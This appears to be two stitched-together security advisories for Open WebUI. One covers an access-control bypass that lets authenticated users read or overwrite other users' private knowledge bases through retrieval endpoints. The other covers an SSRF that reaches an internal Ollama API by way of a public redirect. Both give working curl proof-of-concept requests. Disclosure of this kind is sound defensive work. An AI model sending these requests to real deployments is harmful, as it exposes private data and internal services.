CVE-2026-45398 – IDOR: Retrieval API Bypasses Knowledge Base Access Controls
Summary
_validate_collection_access() (PR #22109) checks the user-memory-* and file-* collection name prefixes but does not check knowledge base collections, which use raw UUIDs as collection names. Any authenticated user who knows a private knowledge base UUID can read its content through the retrieval query endpoints, even though the knowledge API correctly denies that user access. The same gap affects the retrieval write endpoints (/process/text, /process/file, /process/files/batch, /process/web, /process/youtube), allowing an attacker to inject content into or overwrite another user’s knowledge base.
Proof of Concept
Read: Extract Private KB Content
Authenticate as the attacker:
TOKEN=$(curl -s -X POST https://open-webui/api/v1/auths/signin \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]", "password": "password"}' \
| jq -r '.token')Control request: the knowledge API correctly blocks the attacker:
curl -s https://open-webui/api/v1/knowledge/ \
-H "Authorization: Bearer $TOKEN"
{"detail": "You do not have permission to access this resource."} Exploit request: the retrieval API returns the same KB’s content without authorization:
curl -s -X POST https://open-webui/api/v1/retrieval/query/doc \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"collection_name": "",
"query": "confidential",
"k": 50
}' Expected result when vulnerable: the server returns matching document chunks from the victim’s private knowledge base, including text content and metadata (source filenames, file IDs, hashes).
The /query/collection endpoint accepts a list of collection names and behaves identically:
curl -s -X POST https://open-webui/api/v1/retrieval/query/collection \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"collection_names": [""],
"query": "confidential",
"k": 50
}' Summary
/api/v1/retrieval/process/web is vulnerable to SSRF via its synchronous loader.load() -> _scrape() path, which follows redirects without revalidation. This is distinct from CVE-2025-65958: the prior fix addressed the asynchronous _fetch() path, but this request flow uses the separate synchronous loader.load() -> _scrape() implementation. A non-admin user can submit a public URL that passes validation but redirects the server to a blocked internal destination.
Proof of Concept
Authenticate as a non-admin user:
TOKEN=$(curl -s -X POST https://open-webui/api/v1/auths/signin \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]", "password": "password"}' \
| jq -r '.token')Control request: the protected internal destination is rejected when requested directly:
curl -i -X POST "https://open-webui/api/v1/retrieval/process/web?process=false" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"url": "http://ollama:11434/api/tags",
"collection_name": "direct-internal-control"
}'Expected: rejected with an error.
{
"detail": "[ERROR: Oops! The URL you provided is invalid. Please double-check and try again.]"
}Exploit request: the same destination reached through a public redirect. This PoC uses httpbin.org’s /redirect-to endpoint to issue a 302 without any attacker infrastructure; an attacker-controlled server returning a 302 Location header would work the same way:
curl -i -X POST "https://open-webui/api/v1/retrieval/process/web?process=false" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Follama%3A11434%2Fapi%2Ftags&status_code=302",
"collection_name": "redirect-ssrf-test"
}'Expected result when vulnerable: the server follows the 302 to the blocked internal Ollama API and returns its response in the content field:
{
"status": true,
"content": "{\"models\":[]}"
}